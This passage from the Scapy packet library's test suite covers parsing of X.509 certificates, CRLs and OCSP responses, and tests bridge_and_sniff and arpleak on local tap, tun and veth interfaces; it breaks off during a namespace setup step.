ASN1_BIT_STRING(b"6\xce\xdd\x01\xbdz\x1f\x89[\xc71i_\xb5\x90\xac\xb5\x06\x9a\xc1\xe8\xf5Jlk\x01\xf0\xc1\xe0\xd5\x0c\xdb\x83l\x1b\xe5\x19#\xcf\x17\x03\x95\xcc\xe9\n%\x99\xfc\x8a\x9c\xda\xe8\x98\xc2\xc2\xd7\xee\x82h\\c\xabx\xc2\xfe\xa7R\xee'\xda\x94R\xd0V\x8e\xe2\x93\xfb^\xd3>\x8e\x96\x8d\x11\x90\x13`\xc9\xa8\x16=}\x8bG\x99\x07{\xd4oH;\xa8<\x8b\x1bHs&$\x0f|\x01\x9c\x1a\xb5\xbb\xc4\x86l\xcc \xd2MR\x81\xd5\xce\x13\xde\x1d\x99\xc8h\x18\x14\x06\r6]B\xe4\xfcIbt\xeeuE\xfd\xe0\x87\xc7Q\xfeH\x05A$\x13\xeb\xce\xef\xb3\\}M`\xf4\xd3=\x10\xd9\xbb6P]\xceo\x7f\x8dbA\x06\x12\x8eE\xf5\x17\x8fBm&c\xde\x02Oll\xe9jG\xa3N\xb4\x16\x8e\xdfV\x90\x05\x92\xd3\x16\xc7[\xe9\xbb\xec,\x11\xb4\x00\x86\x01\xaaWG\xc2Gd0(2\x1bN\xb3\xd6\xfe\x9fG&\xd2CaX\xd8t\x01q\xaf{;W\xbe\xf2", readable=True) = Cert class : Default X509_Cert from scratch from scapy.layers.x509 import X509_Cert raw(X509_Cert(raw(X509_Cert()))) == raw(X509_Cert()) = Cert class : Error try: Cert("fail") except: assert True else: assert False = Cert class: Import Windows AD certificate from scapy.layers.x509 import X509_Cert c = base64.b64decode('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') x=X509_Cert(c) = Cert class: Check some Windows-specific extensions tbs = x.tbsCertificate ext = tbs.extensions assert type(ext) is list assert len(ext) == 10 assert [x[0].extnID.oidname for x in ext] == [ 'ENROLL_CERTTYPE', 'extKeyUsage', 'keyUsage', 'smimeCapabilities', 'subjectKeyIdentifier', 'authorityKeyIdentifier', 'cRLDistributionPoints', 'authorityInfoAccess', 'subjectAltName', 'NTDS_CA_SECURITY_EXT', ] assert ext[0].extnValue.Name == b'\x00D\x00o\x00m\x00a\x00i\x00n\x00C\x00o\x00n\x00t\x00r\x00o\x00l\x00l\x00e\x00r' assert ext[1].extnValue.extendedKeyUsage[0].oid == '1.3.6.1.5.5.7.3.2' assert ext[6].extnValue.cRLDistributionPoints[0].distributionPoint.distributionPointName.fullName[0].generalName.uniformResourceIdentifier == b'ldap:///CN=domain-DC1-CA,CN=DC1,CN=CDP,CN=Public%20Key%20Services,CN=Services,CN=Configuration,DC=domain,DC=local?certificateRevocationList?base?objectClass=cRLDistributionPoint' assert ext[8].extnValue.subjectAltName[1].generalName.dNSName == b"DC1.domain.local" assert ext[9].extnValue.value == b'S-1-5-21-1924137214-3718646274-40215721-1000' = Cert class : X509 Certificate with rare fields types cert_with_bmp_string = base64.b64decode('MIIB3DCCAaagAwIBAgIBATANBgkqhkiG9w0BAQsFADCB9jELMAkGA1UEBhMCVVMxCzAJBgNVBAgTAkNBMQswCQYDVQQHEwJMRzEXMBUGA1UEChMOV2Vic2Vuc2UsIEluYy4xGjAYBgNVBAsTEVdlYnNlbnNlIEVuZHBvaW50MSMwIQYJKoZIhvcNAQkBFhRzdXBwb3J0QHdlYnNlbnNlLmNvbTE2MDQGA1UEAxMtV2Vic2Vuc2UgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGUgQXV0aG9yaXR5MTswOQYDVQQNHjIAMQAyADQANgAxADgAMwA1ADEANABFAFAAQAB3AGUAYgBzAGUAbgBzAGUALgBjAG8AbTAeFw0yNDExMDUxMDA0MjlaFw0yNDExMDYxMDE0MjlaMEMxCzAJBgNVBAYTAkZSMRQwEgYDVQQKEwtTY2FweSwgSW5jLjEeMBwGA1UEAxMVU2NhcHkgRGVmYXVsdCBTdWJqZWN0MBowDQYJKoZIhvcNAQELBQADCQAwBgIBCgIBA6MTMBEwDwYDVR0TAQEABAUwAwEBADANBgkqhkiG9w0BAQsFAAMhAGRlZmF1bHRzaWduYXR1cmVkZWZhdWx0c2lnbmF0dXJl') c = X509_Cert(cert_with_bmp_string) bmp_field_value = str(c.tbsCertificate.issuer[7].rdn[0].value.val, "utf-16be") assert bmp_field_value == '1246183514EP@websense.com' ############ CRL class ############################################### + X509_CRL class tests = CRL class : Importing DER encoded X.509 CRL from scapy.layers.x509 import X509_CRL c = base64.b64decode('MIICHjCCAYcwDQYJKoZIhvcNAQEFBQAwXzELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWdu\nLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAxIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0\naG9yaXR5Fw0wNjExMDIwMDAwMDBaFw0wNzAyMTcyMzU5NTlaMIH2MCECECzSS2LEl6QXzW6jyJx6\nLcgXDTA0MDQwMTE3NTYxNVowIQIQOkXeVssCzdzcTndjIhvU1RcNMDEwNTA4MTkyMjM0WjAhAhBB\nXYg2gRUg1YCDRqhZkngsFw0wMTA3MDYxNjU3MjNaMCECEEc5gf/9hIHxlfnrGMJ8DfEXDTAzMDEw\nOTE4MDYxMlowIQIQcFR+auK62HZ/R6mZEEFeZxcNMDIwOTIzMTcwMDA4WjAhAhB+C13eGPI5ZoKm\nj2UiOCPIFw0wMTA1MDgxOTA4MjFaMCICEQDQVEhgGGfTrTXKLw1KJ5VeFw0wMTEyMTExODI2MjFa\nMA0GCSqGSIb3DQEBBQUAA4GBACLJ9rsdoaU9JMf/sCIRs3AGW8VV3TN2oJgiCGNEac9PRyV3mRKE\n0hmuIJTKLFSaa4HSAzimWpWNKuJhztsZzXUnWSZ8VuHkgHEaSbKqzUlb2g+o/848CvzJrcbeyEBk\nDCYJI5C3nLlQA49LGJ+w4GUPYBwaZ+WFxCX1C8kzglLm') x=X509_CRL(c) = CRL class : Rebuild crl raw(x) == c = CRL class : Version tbs = x.tbsCertList tbs.version == None = CRL class : Signature algorithm (as advertised by TBSCertList) assert type(tbs.signature) is X509_AlgorithmIdentifier tbs.signature.algorithm == ASN1_OID("sha1-with-rsa-signature") = CRL class : Issuer structure assert type(tbs.issuer) is list assert len(tbs.issuer) == 3 assert type(tbs.issuer[0]) is X509_RDN assert type(tbs.issuer[0].rdn) is list assert type(tbs.issuer[0].rdn[0]) is X509_AttributeTypeAndValue = CRL class : Issuer first attribute tbs.issuer[0].rdn[0].type == ASN1_OID("countryName") and tbs.issuer[0].rdn[0].value == ASN1_PRINTABLE_STRING(b"US") = CRL class : Issuer string tbs.get_issuer_str() == '/C=US/O=VeriSign, Inc./OU=Class 1 Public Primary Certification Authority' = CRL class : This update tbs.this_update == ASN1_UTC_TIME("061102000000Z") = CRL class : Optional next update tbs.next_update == ASN1_UTC_TIME("070217235959Z") = CRL class : Optional revoked_certificates structure from scapy.layers.x509 import X509_RevokedCertificate assert type(tbs.revokedCertificates) is list assert len(tbs.revokedCertificates) == 7 assert type(tbs.revokedCertificates[0]) is X509_RevokedCertificate = CRL class : Revoked_certificates first attribute tbs.revokedCertificates[0].serialNumber == ASN1_INTEGER(59577943160751197113872490992424857032) and tbs.revokedCertificates[0].revocationDate == ASN1_UTC_TIME("040401175615Z") = CRL class : Extensions structure tbs.crlExtensions == None = CRL class : Signature algorithm assert type(x.signatureAlgorithm) is X509_AlgorithmIdentifier x.signatureAlgorithm.algorithm == ASN1_OID("sha1-with-rsa-signature") = CRL class : Signature value x.signatureValue == ASN1_BIT_STRING(b'"\xc9\xf6\xbb\x1d\xa1\xa5=$\xc7\xff\xb0"\x11\xb3p\x06[\xc5U\xdd3v\xa0\x98"\x08cDi\xcfOG%w\x99\x12\x84\xd2\x19\xae \x94\xca,T\x9ak\x81\xd2\x038\xa6Z\x95\x8d*\xe2a\xce\xdb\x19\xcdu\'Y&|V\xe1\xe4\x80q\x1aI\xb2\xaa\xcdI[\xda\x0f\xa8\xff\xce<\n\xfc\xc9\xad\xc6\xde\xc8@d\x0c&\t#\x90\xb7\x9c\xb9P\x03\x8fK\x18\x9f\xb0\xe0e\x0f`\x1c\x1ag\xe5\x85\xc4%\xf5\x0b\xc93\x82R\xe6', readable=True) = CRL class : Default X509_CRL from scratch s = raw(X509_CRL()) raw(X509_CRL(s)) == s ############ Randval tests ############################################### = Randval tests : ASN1F_SEQUENCE_OF from scapy.layers.x509 import ASN1P_INTEGER, X509_OtherName random.seed(42) r = ASN1F_SEQUENCE_OF("test", [], ASN1P_INTEGER).randval().number assert isinstance(r, RandNum) int(r) == -16393048219351680611 = Randval tests : ASN1F_PACKET random.seed(0xcafecafe) r = ASN1F_PACKET("otherName", None, X509_OtherName).randval() assert isinstance(r, X509_OtherName) str(r.type_id) == '171.184.10.271' ############ OCSP class ############################################### = OCSP class : OCSP Response import from scapy.layers.x509 import OCSP_Response s = b'0\x82\x01\xd3\n\x01\x00\xa0\x82\x01\xcc0\x82\x01\xc8\x06\t+\x06\x01\x05\x05\x070\x01\x01\x04\x82\x01\xb90\x82\x01\xb50\x81\x9e\xa2\x16\x04\x14Qh\xff\x90\xaf\x02\x07u<\xcc\xd9edb\xa2\x12\xb8Yr;\x18\x0f20160914121000Z0s0q0I0\t\x06\x05+\x0e\x03\x02\x1a\x05\x00\x04\x14\xcf&\xf5\x18\xfa\xc9~\x8f\x8c\xb3B\xe0\x1c/j\x10\x9e\x8e_\n\x04\x14Qh\xff\x90\xaf\x02\x07u<\xcc\xd9edb\xa2\x12\xb8Yr;\x02\x10\x07z]\xc36#\x01\xf9\x89\xfeT\xf7\xf8o>d\x80\x00\x18\x0f20160914121000Z\xa0\x11\x18\x0f20160921112500Z0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x90\xef\xf9\x15U\x88\xac@l\xf6n\x04C/\x1a\xf5\xbc[Xi\xd9U\xbe\'\xd3\xb7\xf5\xbb\t\xd8\xb1Tw\x9c2\xac\x7f\x88\xba\x98\xe4\xa13\xf4\xdc\xea\xf3\xacX\xe4,E\xf5\xa9\xc3\xf4B-N\xe0\x89D[\xbe\n\xc2h\x9ar\xfd\'.\xc8,\xed\x83\xc2\xf0\x89_\x8c\xc3\xe7\x8a\xad\xa4\x14\x03\x96\x02\xc4\xa8\xc8\x90\x96%X\x80\x95\x02\x9d_\xc82;m\xe9\x15\x00\xa8\x00\xb9\x01\xe3aN&\xe4\xd5\x8a\xc4w7\x0b\xc3~\xc5\xb1M\x10~T\x9e\x1d\xf6\x06\xf8\x12sTg\x14b_\xe7\xc04\xb4\xa3\xd2\x8f\xe6\xa6\xc4\x01q\x03j\xc8\xd4\xc7\x89\xdde\x99\x1a\xd9\x02\xe7\x17\xd1\xf40P\xef\xf6$\xee\xfad\xf4\xeb\xc8\xf7\x0bRL\x8b\xa5x\xe4R2\xe9\xc2\xfcB\nh\x93\xf7\x0ep4h\xeb\x17\x83\xc8\x88!\xc3W\x94WG\xfe3\x15C0qE&A\x99\xa8}\x1a\xda"\xa9O\xba\x90W_W\xado\x1c\xf0`g7\xbb$\x91o\xec\xdd\xbd\x9e\x8bb\xfc' response = OCSP_Response(s) = OCSP class : OCSP Response global checks from scapy.layers.x509 import OCSP_ResponseBytes assert response.responseStatus.val == 0 assert isinstance(response.responseBytes, OCSP_ResponseBytes) responseBytes = response.responseBytes assert responseBytes.responseType == ASN1_OID("basic-response") assert responseBytes.signatureAlgorithm.algorithm == ASN1_OID("sha256WithRSAEncryption") assert responseBytes.signatureAlgorithm.parameters == ASN1_NULL(0) assert responseBytes.signature.val_readable[:3] == b"\x90\xef\xf9" and responseBytes.signature.val_readable[-3:] == b"\x8bb\xfc" responseBytes.certs is None = OCSP class : OCSP ResponseData checks from scapy.layers.x509 import OCSP_ByKey responseData = responseBytes.tbsResponseData assert responseData.version is None rID = responseData.responderID.responderID assert isinstance(rID, OCSP_ByKey) assert rID.byKey.val[:3] == b"Qh\xff" and rID.byKey.val[-3:] == b"Yr;" assert responseData.producedAt == ASN1_GENERALIZED_TIME("20160914121000Z") assert len(responseData.responses) == 1 responseData.responseExtensions is None = OCSP class : OCSP ResponseData dissection with RecokedInfo from scapy.layers.x509 import OCSP_ResponseData pkt = OCSP_ResponseData(b"0\x81\xdf\xa2\x16\x04\x14\x11\x7f\x8eD\xbb\xe9\x7f\xca'\xfeG\x90\x89\\\x18\xea\x0e\xa5#W\x18\x0f20240121133708Z0\x81\x8e0\x81\x8b0M0\t\x06\x05+\x0e\x03\x02\x1a\x05\x00\x04\x14\x0b\xaf\xcc#$\xb8\xb0\xf8\xb02,\x9aPn9VSW\x14\x14\x04\x14\x11\x7f\x8eD\xbb\xe9\x7f\xca'\xfeG\x90\x89\\\x18\xea\x0e\xa5#W\x02\x14\x10&\x99j\t\xaa\xb9>\xde\x06\xb6#b\xa9\xe4GA\x07\x1b2\xa1\x16\x18\x0f20240120133708Z\xa0\x03\n\x01\x01\x18\x0f20240121133708Z\xa0\x11\x18\x0f20240122133708Z\xa1#0!0\x1f\x06\t+\x06\x01\x05\x05\x070\x01\x02\x04\x12\x04\x10\xfc\xb6\x92\xdf^\xf3\x03{\tH}\x12\x9f\xaa\x13^") assert pkt.responderID.responderID.byKey == b"\x11\x7f\x8eD\xbb\xe9\x7f\xca'\xfeG\x90\x89\\\x18\xea\x0e\xa5#W" assert pkt.responses[0].certID.issuerNameHash == b'\x0b\xaf\xcc#$\xb8\xb0\xf8\xb02,\x9aPn9VSW\x14\x14' assert pkt.responses[0].certStatus.certStatus.revocationReason.cRLReason == 0x1 = OCSP class : OCSP SingleResponse checks from scapy.layers.x509 import OCSP_GoodInfo singleResponse = responseData.responses[0] assert singleResponse.certID.hashAlgorithm.algorithm == ASN1_OID("sha1") assert singleResponse.certID.hashAlgorithm.parameters == ASN1_NULL(0) assert singleResponse.certID.issuerNameHash.val[:3] == b"\xcf&\xf5" and singleResponse.certID.issuerNameHash.val[-3:] == b"\x8e_\n" assert singleResponse.certID.issuerKeyHash.val[:3] == b"Qh\xff" and singleResponse.certID.issuerKeyHash.val[-3:] == b"Yr;" assert singleResponse.certID.serialNumber.val == 0x77a5dc3362301f989fe54f7f86f3e64 assert isinstance(singleResponse.certStatus.certStatus, OCSP_GoodInfo) assert singleResponse.thisUpdate == ASN1_GENERALIZED_TIME("20160914121000Z") assert singleResponse.nextUpdate == ASN1_GENERALIZED_TIME("20160921112500Z") singleResponse.singleExtensions is None = OCSP class : OCSP Response reconstruction raw(response) == s = OSCP class : OSCP Response with ECDSA response = OCSP_ResponseBytes() assert bytes(response.signature) == b'\x03!\x00defaultsignaturedefaultsignature' response.signatureAlgorithm.algorithm = ASN1_OID('1.2.840.10045.4.3.2') assert bytes(response.signature) == b'\x03\t\x000\x06\x02\x01\x00\x02\x01\x00' response = OCSP_ResponseBytes(bytes(response)) assert isinstance(response.signature, ECDSASignature) ================================================ FILE: test/sendsniff.uts ================================================ % send, sniff, sr* tests for Scapy ~ needs_root ############ ############ + Test bridge_and_sniff() using tap sockets ~ tap = Create two tap interfaces import subprocess from threading import Thread tap0, tap1 = [TunTapInterface("tap%d" % i) for i in range(2)] chk_kwargs = {"timeout": 3} if LINUX: for i in range(2): assert subprocess.check_call(["ip", "link", "set", "tap%d" % i, "up"], **chk_kwargs) == 0 else: for i in range(2): assert subprocess.check_call(["ifconfig", "tap%d" % i, "up"], **chk_kwargs) == 0 = Run a sniff thread on the tap1 **interface** * It will terminate when 5 IP packets from 192.0.2.1 have been sniffed started = threading.Event() t_sniff = Thread( target=sniff, kwargs={"iface": "tap1", "count": 5, "prn": Packet.summary, "lfilter": lambda p: IP in p and p[IP].src == "192.0.2.1", "started_callback": started.set}, name="tests sniff 1") t_sniff.start() started.wait(timeout=5) = Run a bridge_and_sniff thread between the taps **sockets** * It will terminate when 5 IP packets from 192.0.2.1 have been forwarded started = threading.Event() t_bridge = Thread(target=bridge_and_sniff, args=(tap0, tap1), kwargs={"store": False, "count": 5, 'prn': Packet.summary, "lfilter": lambda p: IP in p and p[IP].src == "192.0.2.1", "started_callback": started.set}, name="tests bridge_and_sniff 1") t_bridge.start() started.wait(timeout=5) = Send five IP packets from 192.0.2.1 to the tap0 **interface** sendp([Ether(dst=ETHER_BROADCAST) / IP(src="192.0.2.1") / ICMP()], iface="tap0", count=5) = Wait for the threads t_bridge.join(5) t_sniff.join(5) assert not t_bridge.is_alive() assert not t_sniff.is_alive() = Run a sniff thread on the tap1 **interface** * It will terminate when 5 IP packets from 198.51.100.1 have been sniffed started = threading.Event() t_sniff = Thread( target=sniff, kwargs={"iface": "tap1", "count": 5, "prn": Packet.summary, "lfilter": lambda p: IP in p and p[IP].src == "198.51.100.1", "started_callback": started.set}, name="tests sniff 2") t_sniff.start() started.wait(timeout=5) = Run a bridge_and_sniff thread between the taps **sockets** * It will "NAT" packets from 192.0.2.1 to 198.51.100.1 and will terminate when 5 IP packets have been forwarded def nat_1_2(pkt): if IP in pkt and pkt[IP].src == "192.0.2.1": pkt[IP].src = "198.51.100.1" del pkt[IP].chksum return pkt return False started = threading.Event() t_bridge = Thread(target=bridge_and_sniff, args=(tap0, tap1), kwargs={"store": False, "count": 5, 'prn': Packet.summary, "xfrm12": nat_1_2, "lfilter": lambda p: IP in p and p[IP].src == "192.0.2.1", "started_callback": started.set}, name="tests bridge_and_sniff 2") t_bridge.start() started.wait(timeout=5) = Send five IP packets from 192.0.2.1 to the tap0 **interface** sendp([Ether(dst=ETHER_BROADCAST) / IP(src="192.0.2.1") / ICMP()], iface="tap0", count=5) = Wait for the threads t_bridge.join(5) t_sniff.join(5) assert not t_bridge.is_alive() assert not t_sniff.is_alive() = Delete the tap interfaces if conf.use_pypy: # See https://pypy.readthedocs.io/en/latest/cpython_differences.html tap0.close() tap1.close() else: del tap0, tap1 ############ ############ + Test bridge_and_sniff() using tun sockets ~ tun not_libpcap = Create two tun interfaces import subprocess from threading import Thread tun0, tun1 = [TunTapInterface("tun%d" % i) for i in range(2)] chk_kwargs = {"timeout": 3} if LINUX: for i in range(2): assert subprocess.check_call(["ip", "link", "set", "tun%d" % i, "up"], **chk_kwargs) == 0 assert subprocess.check_call([ "ip", "addr", "change", "192.0.2.1", "peer", "192.0.2.2", "dev", "tun0"], **chk_kwargs) == 0 else: for i in range(2): assert subprocess.check_call(["ifconfig", "tun%d" % i, "up"], **chk_kwargs) == 0 assert subprocess.check_call(["ifconfig", "tun0", "192.0.2.1", "192.0.2.2"], **chk_kwargs) == 0 = Run a sniff thread on the tun1 **interface** * It will terminate when 5 IP packets from 192.0.2.1 have been sniffed started = threading.Event() t_sniff = Thread(target=sniff, kwargs={"iface": "tun1", "count": 5, "prn": Packet.summary, "lfilter": lambda p: IP in p and p[IP].src == "192.0.2.1", "started_callback": started.set}, name="tests sniff 3") t_sniff.start() started.wait(timeout=5) = Run a bridge_and_sniff thread between the tuns **sockets** * It will terminate when 5 IP packets from 192.0.2.1 have been forwarded. started = threading.Event() t_bridge = Thread(target=bridge_and_sniff, args=(tun0, tun1), kwargs={"store": False, "count": 5, 'prn': Packet.summary, "xfrm12": lambda pkt: pkt, "lfilter": lambda p: IP in p and p[IP].src == "192.0.2.1", "started_callback": started.set}, name="tests bridge_and_sniff 3") t_bridge.start() started.wait(timeout=5) = Send five IP packets from 192.0.2.1 to the tun0 **interface** conf.route.add(net="192.0.2.2/32", dev="tun0") send([IP(src="192.0.2.1", dst="192.0.2.2") / ICMP()], count=5, iface="tun0") conf.route.delt(net="192.0.2.2/32", dev="tun0") = Wait for the threads t_bridge.join(5) t_sniff.join(5) assert not t_bridge.is_alive() assert not t_sniff.is_alive() = Run a sniff thread on the tun1 **interface** * It will terminate when 5 IP packets from 198.51.100.1 have been sniffed started = threading.Event() t_sniff = Thread(target=sniff, kwargs={"iface": "tun1", "count": 5, "prn": Packet.summary, "lfilter": lambda p: IP in p and p[IP].src == "198.51.100.1", "started_callback": started.set}, name="tests sniff 4") t_sniff.start() started.wait(timeout=5) = Run a bridge_and_sniff thread between the tuns **sockets** * It will "NAT" packets from 192.0.2.1 to 198.51.100.1 and will terminate when 5 IP packets have been forwarded def nat_1_2(pkt): if IP in pkt and pkt[IP].src == "192.0.2.1": pkt[IP].src = "198.51.100.1" del pkt[IP].chksum return pkt return False started = threading.Event() t_bridge = Thread(target=bridge_and_sniff, args=(tun0, tun1), kwargs={"store": False, "count": 5, 'prn': Packet.summary, "xfrm12": nat_1_2, "lfilter": lambda p: IP in p and p[IP].src == "192.0.2.1", "started_callback": started.set}, name="tests bridge_and_sniff 4") t_bridge.start() started.wait(timeout=5) = Send five IP packets from 192.0.2.1 to the tun0 **interface** conf.route.add(net="192.0.2.2/32", dev="tun0") send([IP(src="192.0.2.1", dst="192.0.2.2") / ICMP()], count=5, iface="tun0") conf.route.delt(net="192.0.2.2/32", dev="tun0") = Wait for the threads t_bridge.join(5) t_sniff.join(5) assert not t_bridge.is_alive() assert not t_sniff.is_alive() = Delete the tun interfaces if conf.use_pypy: # See https://pypy.readthedocs.io/en/latest/cpython_differences.html tun0.close() tun1.close() else: del tun0, tun1 ############ ############ + Test bridge_and_sniff() using veth pairs ~ linux needs_root veth = Ensure bridge_and_sniff does not close sockets if data is send within xfrm on ingress interface from scapy.arch.linux import VEthPair with VEthPair('a_0', 'a_1') as veth_0: with VEthPair('b_0', 'b_1') as veth_1: xfrm_count = { 'a_0':0, 'b_0': 0 } def xfrm_x(pkt): pkt_tx = pkt.copy() ether_lyr = pkt_tx[Ether] ether_lyr.type = 0x1234 # we send to peer interface - avoid loop # send on receiving interface - triggers return None on recv() in L2Socket sendp(pkt_tx, iface=pkt.sniffed_on) global xfrm_count xfrm_count[pkt.sniffed_on] = xfrm_count[pkt.sniffed_on] + 1 return True started = threading.Event() t_bridge = Thread(target=bridge_and_sniff, args=('a_0', 'b_0'), kwargs={ 'xfrm12': xfrm_x, 'xfrm21': xfrm_x, 'store': False, 'count': 4, 'lfilter': lambda p: Ether in p and p[Ether].type == 0xbeef, "started_callback": started.set}, name="tests bridge_and_sniff VEthPair") t_bridge.start() started.wait(timeout=5) # send frames in both directions for if_name in ['a_1', 'b_1', 'a_1', 'b_1']: sendp([Ether(type=0xbeef) / Raw(b'On a scale from one to ten what is your favourite colour of the alphabet?')], iface=if_name) t_bridge.join(1) # now test of the socket used in bridge_and_sniff() was alive all the time assert (xfrm_count['a_0'] == 2) assert (xfrm_count['b_0'] == 2) ############ ############ + Test arpleak() using a tap socket ~ tap tcpdump = Create a tap interface from unittest import mock import struct import subprocess from threading import Thread import time tap0 = TunTapInterface("tap0") chk_kwargs = {"timeout": 3} if LINUX: assert subprocess.check_call(["ip", "link", "set", "tap0", "up"], **chk_kwargs) == 0 else: assert subprocess.check_call(["ifconfig", "tap0", "up"], **chk_kwargs) == 0 = Check for arpleak def answer_arp_leak(pkt): mymac = b"\x00\x01\x02\x03\x04\x06" myip = b"\xc0\x00\x02\x02" # 192.0.2.2 if not ARP in pkt: return e_src = pkt.src pkt = raw(pkt[ARP]) if pkt[:4] != b'\x00\x01\x08\x00': print("Invalid ARP") return hwlen, plen, op = struct.unpack('>BBH', pkt[4:8]) if op != 1: print("Invalid ARP op") return fmt = ('%ds%ds' % (hwlen, plen)) * 2 hwsrc, psrc, hwdst, pdst = struct.unpack(fmt, pkt[8:8 + (plen + hwlen) * 2]) if pdst[:4] != myip[:plen]: print("Invalid ARP pdst %r" % pdst) return ans = Ether(dst=e_src, src=mymac, type=0x0806) ans /= (b'\x00\x01\x08\x00' + struct.pack('>BBH' + fmt, hwlen, plen, 2, mymac, myip, hwsrc, psrc)) tap0.send(ans) print('Answered!') started = threading.Event() t_answer = Thread( target=sniff, kwargs={"prn": answer_arp_leak, "timeout": 10, "store": False, "opened_socket": tap0, "started_callback": started.set}, name="tests answer_arp_leak") t_answer.start() started.wait(timeout=5) @mock.patch("scapy.layers.l2.get_if_addr") @mock.patch("scapy.layers.l2.get_if_hwaddr") def test_arpleak(mock_get_if_hwaddr, mock_get_if_addr, hwlen=255, plen=255): conf.route.ifadd("tap0", "192.0.2.0/24") mock_get_if_addr.side_effect = lambda _: "192.0.2.1" mock_get_if_hwaddr.side_effect = lambda _: "00:01:02:03:04:05" return arpleak("192.0.2.2/31", timeout=2, hwlen=hwlen, plen=plen) ans, unans = test_arpleak() assert len(ans) == 1 assert len(unans) == 1 ans, unans = test_arpleak(hwlen=6) assert len(ans) == 1 assert len(unans) == 1 ans, unans = test_arpleak(plen=4) assert len(ans) == 1 assert len(unans) == 1 t_answer.join(15) if t_answer.is_alive(): raise Exception("Test timed out") if conf.use_pypy: # See https://pypy.readthedocs.io/en/latest/cpython_differences.html tap0.close() else: del tap0 ##### ##### + Test sr() on multiple interfaces = Setup multiple linux interfaces and ranges ~ linux needs_root dbg import os exit_status = os.system("ip netns add blob0") exit_status |= os.system("ip netns add blob1") exit_status |= os.system("ip link add name scapy0.0 type veth peer name scapy0.1") exit_status |= os.system("ip link add name scapy1.0 type veth peer name scapy1.1") exit_status |= os.system("ip link set scapy0.1 netns blob0 up") exit_status |= os.system("ip link set scapy1.1 